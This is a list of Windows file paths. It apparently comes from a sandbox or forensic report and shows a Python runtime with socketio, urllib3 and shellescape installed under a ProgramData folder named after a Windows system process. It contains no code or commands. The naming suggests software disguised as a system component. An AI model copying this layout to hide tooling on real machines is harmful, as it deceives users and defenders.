        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\REQUESTED
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\ZIP-SAFE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\ARCHIVE_UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\BUILD_META.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\CLI-32.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\CLI-64.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\CLI.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\ALIAS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BDIST_EGG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BDIST_RPM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BDIST_WININST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BUILD_CLIB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BUILD_EXT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BUILD_PY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\DEVELOP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\DIST_INFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\EASY_INSTALL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\EGG_INFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\INSTALL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\INSTALL_EGG_INFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\INSTALL_LIB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\INSTALL_SCRIPTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\LAUNCHER MANIFEST.XML
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\PY36COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\REGISTER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\ROTATE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\SAVEOPTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\SDIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\SETOPT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\TEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\UPLOAD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\UPLOAD_DOCS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\CONFIG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\DEPENDS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\DEP_UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\DIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\ERRORS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\EXTENSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\EXTERN\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\GLOB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\GUI-32.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\GUI-64.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\GUI.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\INSTALLER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\LAUNCH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\LIB2TO3_EX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\MONKEY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\MSVC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\NAMESPACES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\PACKAGE_INDEX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\PY34COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\SANDBOX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\SCRIPT (DEV).TMPL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\SCRIPT.TMPL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\SSL_SUPPORT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\UNICODE_UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\WHEEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\WINDOWS_SUPPORT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DEPRECATION_WARNING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\ARCHIVE_UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\BCPPCOMPILER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CCOMPILER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CMD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST_DUMB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST_MSI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST_RPM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST_WININST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD_CLIB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD_EXT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD_PY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD_SCRIPTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\CHECK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\CLEAN.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\CONFIG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_DATA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_EGG_INFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_HEADERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_LIB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_SCRIPTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\PY37COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\REGISTER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\SDIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\UPLOAD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CONFIG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CORE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CYGWINCCOMPILER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\DEBUG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\DEP_UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\DIR_UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\DIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\ERRORS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\EXTENSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\FANCY_GETOPT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\FILELIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\FILE_UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\LOG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\MSVC9COMPILER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\MSVCCOMPILER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\PY35COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\PY38COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\SPAWN.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\SYSCONFIG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\TEXT_FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\UNIXCCOMPILER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\VERSIONPREDICATE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\_MSVCCOMPILER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_IMP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\ORDERED_SET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\MARKERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\REQUIREMENTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\SPECIFIERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\TAGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\UTILS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\VERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\_COMPAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\_STRUCTURES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\_TYPING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\__ABOUT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PYPARSING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE\MAIN.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE\SETTINGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASGI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_AIOPIKA_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_CLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_NAMESPACE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_PUBSUB_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_REDIS_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\BASE_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\CLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\KAFKA_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\KOMBU_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\MIDDLEWARE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\NAMESPACE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\PACKET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\PUBSUB_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\REDIS_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\TORNADO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ZMQ_MANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\LICENSE.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\METADATA
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\RECORD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\TOP_LEVEL.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\WHEEL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONNECTION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONNECTIONPOOL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\APPENGINE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\NTLMPOOL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\PYOPENSSL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\SECURETRANSPORT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\SOCKS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_APPENGINE_ENVIRON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_SECURETRANSPORT\BINDINGS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_SECURETRANSPORT\LOW_LEVEL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_SECURETRANSPORT\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\FIELDS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\FILEPOST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\BACKPORTS\MAKEFILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\BACKPORTS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SIX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME\_IMPLEMENTATION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\POOLMANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\REQUEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\RESPONSE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\CONNECTION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\PROXY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\QUEUE.PY
